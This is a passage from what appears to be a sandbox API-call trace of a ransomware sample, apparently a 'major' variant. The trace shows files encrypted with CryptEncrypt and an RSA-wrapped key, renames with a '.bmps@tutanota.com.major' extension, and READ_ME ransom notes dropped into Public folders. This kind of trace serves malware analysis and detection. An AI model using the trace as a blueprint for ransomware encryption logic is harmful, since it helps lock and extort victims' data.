lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x590 [0143.864] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=20) returned 1 [0143.864] ReadFile (in: hFile=0x590, lpBuffer=0x5d1490, nNumberOfBytesToRead=0x14, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1490*, lpNumberOfBytesRead=0x2e3f9b4*=0x14, lpOverlapped=0x0) returned 1 [0143.865] SetFilePointer (in: hFile=0x590, lDistanceToMove=-20, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.865] WriteFile (in: hFile=0x590, lpBuffer=0x5d1570*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d1570*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14, lpOverlapped=0x0) returned 1 [0143.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1490 | out: hHeap=0x570000) returned 1 [0143.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d1570 | out: hHeap=0x570000) returned 1 [0143.865] SetFilePointer (in: hFile=0x590, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14 [0143.865] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0143.865] WriteFile (in: hFile=0x590, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0143.865] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0143.865] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0143.866] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0143.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0143.866] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="jn2NnWlkdOCK3ziYnsf2nG9p2JstilnMm4K/IB9OgY+dpMeKGulVZ+kYfN5UsMhV\nd2lk9WgGatflFACtlgGmDWvDe6tAF8FTMVghqTTvyavtECxZMoZ/rZsuKJyZJ3VV\nFrjIG+LMFxYGRhWOwavj9M6NMvgNIaNvRZohAdN0HyoFbCyY5Sl36Ix6pTTCG1dh\nIYBDpZlynnq5MJVIWyVbd3m3VPb0Is6UVgIROVDA2W1GJd3yxbJe6oGz8lW9t5fO\nnHy6bo5yEk6xsGKbE/sls3TkcAuc403nZwazA7Q9yKIkJazOvhImUr2VAgr8KByS\n7XoSM06iNOUyxjoJ3vpKog==\n", pcchString=0x2e3f9a8) returned 1 [0143.866] WriteFile (in: hFile=0x590, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0143.866] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0143.866] WriteFile (in: hFile=0x590, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0143.866] CloseHandle (hObject=0x590) returned 1 [0143.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0143.866] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\ntuser.ini" (normalized: "c:\\users\\fd1hvy\\ntuser.ini"), lpNewFileName="\\Users\\FD1HVy\\ntuser.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\ntuser.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0143.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0143.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0143.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0143.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x5b85a8 [0143.901] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.901] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.901] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", dwFileAttributes=0x80) returned 1 [0143.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60f990 [0143.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0143.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f990 | out: hHeap=0x570000) returned 1 [0143.902] CreateFileW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0143.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0143.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa568 | out: hHeap=0x570000) returned 1 [0143.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60f990 [0143.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.902] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.902] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x80) returned 1 [0143.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6100d0 [0143.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14e) returned 0x5b3b90 [0143.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6100d0 | out: hHeap=0x570000) returned 1 [0143.903] CreateFileW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000001.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0143.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f990 | out: hHeap=0x570000) returned 1 [0143.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0143.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x57e1d0 [0143.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.903] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.903] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", dwFileAttributes=0x80) returned 1 [0143.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x2e40f20 [0143.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x610470 [0143.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0143.903] CreateFileW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610470 | out: hHeap=0x570000) returned 1 [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.904] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.904] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\ntuser.dat.LOG2", dwFileAttributes=0x80) returned 1 [0143.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.904] CreateFileW (lpFileName="\\Users\\FD1HVy\\ntuser.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0143.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0143.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.905] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.905] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\ntuser.dat.LOG1", dwFileAttributes=0x80) returned 1 [0143.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.905] CreateFileW (lpFileName="\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0143.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0143.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0143.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.905] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.905] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT", dwFileAttributes=0x80) returned 1 [0143.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0143.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0143.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0143.905] CreateFileW (lpFileName="\\Users\\FD1HVy\\NTUSER.DAT" (normalized: "c:\\users\\fd1hvy\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0143.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc88 | out: hHeap=0x570000) returned 1 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0143.906] FindFirstFileW (in: lpFileName="\\Users\\Public\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc648e59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ed28 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.906] GetLastError () returned 0x20 [0143.906] SetLastError (dwErrCode=0x20) [0143.906] GetLastError () returned 0x20 [0143.906] SetLastError (dwErrCode=0x20) [0143.906] GetLastError () returned 0x20 [0143.906] SetLastError (dwErrCode=0x20) [0143.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb68 [0143.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0143.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0143.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f028 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f028 | out: hHeap=0x570000) returned 1 [0143.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb68 | out: hHeap=0x570000) returned 1 [0143.906] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc648e59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.906] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0143.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.907] GetLastError () returned 0x20 [0143.907] SetLastError (dwErrCode=0x20) [0143.907] GetLastError () returned 0x20 [0143.907] SetLastError (dwErrCode=0x20) [0143.907] GetLastError () returned 0x20 [0143.907] SetLastError (dwErrCode=0x20) [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0143.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc88 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eda8 [0143.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eda8 | out: hHeap=0x570000) returned 1 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0143.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0143.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc88 | out: hHeap=0x570000) returned 1 [0143.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0143.907] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0143.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.907] GetLastError () returned 0x20 [0143.907] SetLastError (dwErrCode=0x20) [0143.907] GetLastError () returned 0x20 [0143.907] SetLastError (dwErrCode=0x20) [0143.907] GetLastError () returned 0x20 [0143.907] SetLastError (dwErrCode=0x20) [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc88 [0143.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0143.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc88 | out: hHeap=0x570000) returned 1 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0143.907] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.907] GetLastError () returned 0x20 [0143.907] SetLastError (dwErrCode=0x20) [0143.907] GetLastError () returned 0x20 [0143.908] SetLastError (dwErrCode=0x20) [0143.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0143.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.908] GetLastError () returned 0x20 [0143.908] SetLastError (dwErrCode=0x20) [0143.908] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0143.908] CreateFileW (lpFileName="\\Users\\Public\\AccountPictures\\READ_ME.major" (normalized: "c:\\users\\public\\accountpictures\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.908] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0143.908] WriteFile (in: hFile=0x594, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.909] CloseHandle (hObject=0x594) returned 1 [0143.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0143.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0143.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.909] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Desktop", cAlternateFileName="")) returned 1 [0143.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0143.909] GetLastError () returned 0x0 [0143.909] SetLastError (dwErrCode=0x0) [0143.909] GetLastError () returned 0x0 [0143.909] SetLastError (dwErrCode=0x0) [0143.909] GetLastError () returned 0x0 [0143.909] SetLastError (dwErrCode=0x0) [0143.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed98 [0143.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc88 [0143.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0143.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0143.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0143.909] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.910] GetLastError () returned 0x0 [0143.910] SetLastError (dwErrCode=0x0) [0143.910] GetLastError () returned 0x0 [0143.910] SetLastError (dwErrCode=0x0) [0143.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0143.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.910] GetLastError () returned 0x0 [0143.910] SetLastError (dwErrCode=0x0) [0143.910] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0143.910] CreateFileW (lpFileName="\\Users\\Public\\Desktop\\READ_ME.major" (normalized: "c:\\users\\public\\desktop\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x594 [0143.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0143.910] WriteFile (in: hFile=0x594, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0143.911] CloseHandle (hObject=0x594) returned 1 [0143.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0143.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0143.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0143.911] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0143.911] FindNextFileW (in: hFindFile=0x60ed28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, 